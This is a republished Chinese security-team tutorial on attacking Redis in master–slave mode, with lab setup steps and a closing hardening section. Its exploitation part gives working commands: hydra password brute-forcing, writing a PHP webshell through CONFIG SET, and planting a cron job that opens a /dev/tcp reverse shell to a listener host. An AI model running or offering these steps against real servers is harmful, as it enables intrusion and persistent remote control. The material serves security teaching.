Redis slave 模式下的漏洞利用
2019-10-18 12:34:07 Author: mp.weixin.qq.com(查看原文) 阅读量:81 收藏

山东新潮信息

专业|专注|卓越|安全

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

一、Redis 简介

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。Redis与其他key – value缓存产品有以下三个特点:

支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。

不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。

支持数据的备份,即master-slave模式的数据备份。

二、环境搭建

1、从官网下载Redis安装包,本次实验使用Redis 2.8.17版本进行测试,两台Centos 6虚拟机进行实验。

master node 192.168.31.41

slave node 192.168.31.207

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2、解压编译安装

tar zxvf redis-2.8.17.tar.gz    #解压
cd redis-2.8.17
make MALLOC=libc #编译
make install #安装

mkdir -p /usr/local/redis/etc
mkdir -p /usr/local/redis/bin
cp redis.conf /usr/local/redis/etc/
cd src/
mv mkreleasehdr.sh redis-benchmark redis-check-aof redis-check-dump redis-cli redis-server /usr/local/redis/bin

3、修改slave节点上的配置文件

echo "slaveof 192.168.31.41 6379" >> /usr/local/redis/etc/redis.conf

4、启动Redis验证,在启动slave节点时会自动同步数据。

/usr/local/redis/bin/./redis-server /usr/local/redis/etc/redis.conf

5、分别查看Redis服务info信息记日志,192.168.31.41为master node,192.168.31.207为slave node。

三、漏洞利用

1、暴力枚举redis

hydra暴力枚举Redis密码

hydra -P /root/tools/pass/q_10.txt redis://193.168.31.41

MSF暴力枚举Redis密码

2、未授权或枚举出密码情况下利用

当Redis默认为slave时,从节点服务器断开后,从节点会晋升为主节点。

./redis-cli -h 192.168.31.207 -p 6379
INFO replication
SL**EOF no one

通过Redis写webshell(需要知道网站绝对路径)。

config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo(); ?>"
save

查看服务器已写入webshell

通过写计划任务反弹shell

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/sh -i>&/dev/tcp/192.168.31.62/4444 0>&1\n\n"
save

免密钥登录写入同上,这里使用redis漏洞利用工具进行写入

ssh链接时无需密码登录

写/etc/passwd 文件实现任意账号密码重置,此方法会把管理员覆盖容易被管理员发现。

四、Redis安全加固

1、禁用远程修改 DB 文件地址

修改redis.conf文件

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2、以低权限运行 Redis 服务

groupadd -r redis && useradd -r -g redis redis

3、为 Redis 添加密码验证

修改redis.conf文件

requirepass mypassword

4、禁止外网访问 Redis

修改redis.conf文件

bind 127.0.0.1

5、修改默认端口

修改redis.conf文件

Port 6379

6、设置防火墙策略 

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247484510&amp;idx=1&amp;sn=1a6ba27e222dc43ca2741c7aff35a0d1&amp;chksm=ce5e263ff929af29aa062cd87f9add378c45a9232059a72aac3c66678a04d75fbeb2de5f55b4#rd
如有侵权请联系:admin#unsafe.sh